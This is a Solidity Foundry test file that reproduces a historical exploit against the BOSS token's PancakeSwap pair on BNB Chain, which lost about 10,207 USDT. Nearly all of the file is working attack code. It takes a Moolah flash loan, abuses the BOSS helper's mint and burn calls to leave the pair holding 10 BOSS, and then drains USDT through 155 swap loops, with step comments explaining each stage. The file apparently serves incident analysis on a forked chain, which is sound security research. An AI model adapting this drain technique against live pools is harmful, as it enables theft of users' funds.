src/test/2026-06/BOSS_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3 
4import "../basetest.sol";
5import "../interface.sol";
6 
7// @KeyInfo - Total Lost : 10,207.54 USDT
8// Attacker : 0x618639fe719987153e0ec3fe494aa9a62ca02c91
9// Attack Contract : 0x6a37e235f1a9823406c14d377870046419f9803d
10// Vulnerable Contract : 0x876d4539b7f13dddea969190c9a231a4b91735cf
11// Victim : 0xe4021651f01a00b89410c64de39996da3974d779
12// Attack Tx : https://bscscan.com/tx/0x96d1a0175eb4a82585db62a374518391f6b575a07c25c0e2874ca82400b830c7
13 
14// @Info
15// Vulnerable Contract Code : https://bscscan.com/address/0x876d4539b7f13dddea969190c9a231a4b91735cf#code
16 
17// @Analysis
18// Twitter Guy : https://x.com/audit_911/status/2063819348305985748
19//
20// The attacker used a Moolah USDT flash loan, BOSS helper mint/burn calls, and then repeatedly swapped
21// against a BOSS/USDT Pancake pair after reducing its BOSS side to 10 tokens. Each loop transferred
22// pairBossBalance / 10 BOSS into the pair and swapped out USDT using the post-tax amount received by the pair.
23 
24address constant ATTACKER = 0x618639Fe719987153E0Ec3Fe494Aa9a62ca02C91;
25address constant HISTORICAL_ATTACK_CONTRACT = 0x6a37e235f1a9823406C14d377870046419f9803D;
26address constant MOOLAH_FLASH_LOAN = 0x8F73b65B4caAf64FBA2aF91cC5D4a2A1318E5D8C;
27address constant MOOLAH_FLASH_LOAN_IMPLEMENTATION = 0x9321587EA0DC8247f8F03E8696C047b2713bB79A;
28address constant BOSS = 0x876D4539b7F13ddDea969190c9a231A4B91735Cf;
29address constant BOSS_HELPER = 0x978118ece639bA4a9Ac3fb8B1d3bF239F0CaDDc1;
30address constant BOSS_USDT_PAIR = 0xe4021651f01a00B89410C64de39996da3974D779;
31address payable constant PANCAKE_ROUTER = payable(0x10ED43C718714eb63d5aA57B78B54704E256024E);
32address constant PANCAKE_FACTORY = 0xcA143Ce32Fe78f1f7019d7d551a6402fC5350c73;
33address constant USDT_TOKEN = 0x55d398326f99059fF775485246999027B3197955;
34 
35interface IMoolahFlashLoan {
36    function flashLoan(address token, uint256 amount, bytes calldata data) external;
37}
38 
39interface IBossHelper {
40    function userMint(uint256 amount) external;
41    function userBurn(uint256 amount) external;
42}
43 
44contract ContractTest is BaseTestWithBalanceLog {
45    function setUp() public {
46        uint256 forkBlock = 102_671_877;
47        vm.createSelectFork("bsc", forkBlock);
48        fundingToken = USDT_TOKEN;
49 
50        vm.label(ATTACKER, "Attacker EOA");
51        vm.label(HISTORICAL_ATTACK_CONTRACT, "Historical attack contract");
52        vm.label(MOOLAH_FLASH_LOAN, "Moolah flash loan proxy");
53        vm.label(MOOLAH_FLASH_LOAN_IMPLEMENTATION, "Moolah flash loan implementation");
54        vm.label(BOSS, "BOSS token");
55        vm.label(BOSS_HELPER, "BOSS helper");
56        vm.label(BOSS_USDT_PAIR, "BOSS/USDT Pancake pair");
57        vm.label(PANCAKE_ROUTER, "Pancake router");
58        vm.label(PANCAKE_FACTORY, "Pancake factory");
59        vm.label(USDT_TOKEN, "USDT");
60    }
61 
62    function testExploit() public {
63        BossExploit exploit = new BossExploit(ATTACKER);
64 
65        uint256 attackerBefore = IERC20(USDT_TOKEN).balanceOf(ATTACKER);
66        vm.prank(ATTACKER);
67        exploit.attack();
68 
69        uint256 profit = IERC20(USDT_TOKEN).balanceOf(ATTACKER) - attackerBefore;
70        logTokenBalance(USDT_TOKEN, ATTACKER, "Attacker Final");
71        assertGt(profit, 10_000 ether, "USDT profit");
72    }
73}
74 
75contract BossExploit {
76    address private immutable profitReceiver;
77    uint256 private expectedFlashAmount;
78 
79    constructor(
80        address profitReceiver_
81    ) {
82        profitReceiver = profitReceiver_;
83    }
84 
85    function attack() external {
86        require(msg.sender == profitReceiver, "only receiver");
87 
88        IERC20(USDT_TOKEN).approve(BOSS_HELPER, type(uint256).max);
89        IERC20(USDT_TOKEN).approve(PANCAKE_ROUTER, type(uint256).max);
90        IERC20(USDT_TOKEN).approve(MOOLAH_FLASH_LOAN, type(uint256).max);
91        IERC20(BOSS).approve(BOSS_HELPER, type(uint256).max);
92        IERC20(BOSS).approve(PANCAKE_ROUTER, type(uint256).max);
93 
94        // step 1: borrow USDT and enter Moolah's callback with BOSS and pair addresses as payload.
95        uint256 flashAmount = 1_250_000 ether;
96        expectedFlashAmount = flashAmount;
97        IMoolahFlashLoan(MOOLAH_FLASH_LOAN).flashLoan(USDT_TOKEN, flashAmount, abi.encode(BOSS, BOSS_USDT_PAIR));
98 
99        // step 6: after Moolah pulls repayment, forward remaining USDT profit to the attacker EOA.
100        uint256 profit = IERC20(USDT_TOKEN).balanceOf(address(this));
101        IERC20(USDT_TOKEN).transfer(profitReceiver, profit);
102    }
103 
104    function onMoolahFlashLoan(uint256 amount, bytes calldata data) external {
105        require(msg.sender == MOOLAH_FLASH_LOAN, "not Moolah");
106        require(amount == expectedFlashAmount, "unexpected loan");
107 
108        (address bossToken, address pair) = abi.decode(data, (address, address));
109        require(bossToken == BOSS && pair == BOSS_USDT_PAIR, "bad callback data");
110 
111        // step 2: helper userMint consumes 100,000 USDT, mints BOSS, and seeds BOSS/USDT liquidity.
112        uint256 helperMintUsdt = 100_000 ether;
113        IBossHelper(BOSS_HELPER).userMint(helperMintUsdt);
114 
115        // step 3: swap the remaining flash-loaned USDT into BOSS with the helper as recipient.
116        address[] memory path = new address[](2);
117        path[0] = USDT_TOKEN;
118        path[1] = BOSS;
119        IPancakeRouter(PANCAKE_ROUTER).swapExactTokensForTokensSupportingFeeOnTransferTokens(
120            IERC20(USDT_TOKEN).balanceOf(address(this)), 0, path, BOSS_HELPER, block.timestamp
121        );
122 
123        // step 4: burn the inflated BOSS side until only the 10-token trace dust remains in the pair.
124        uint256 pairBossBalance = IERC20(BOSS).balanceOf(BOSS_USDT_PAIR);
125        uint256 pairBossDust = 10;
126        IBossHelper(BOSS_HELPER).userBurn(pairBossBalance - pairBossDust);
127 
128        // step 5: repeatedly transfer a fraction of BOSS into the pair and swap out derived USDT.
129        uint256 drainLoopCount = 155;
130        for (uint256 i = 0; i < drainLoopCount; i++) {
131            uint256 bossReserve = IERC20(BOSS).balanceOf(BOSS_USDT_PAIR);
132            uint256 usdtReserve = IERC20(USDT_TOKEN).balanceOf(BOSS_USDT_PAIR);
133            uint256 grossBossIn = bossReserve / 10;
134 
135            IERC20(BOSS).transfer(BOSS_USDT_PAIR, grossBossIn);
136            uint256 netBossIn = IERC20(BOSS).balanceOf(BOSS_USDT_PAIR) - bossReserve;
137            uint256 usdtOut = IPancakeRouter(PANCAKE_ROUTER).getAmountOut(netBossIn, bossReserve, usdtReserve);
138            IPancakePair(BOSS_USDT_PAIR).swap(usdtOut, 0, address(this), "");
139        }
140    }
141}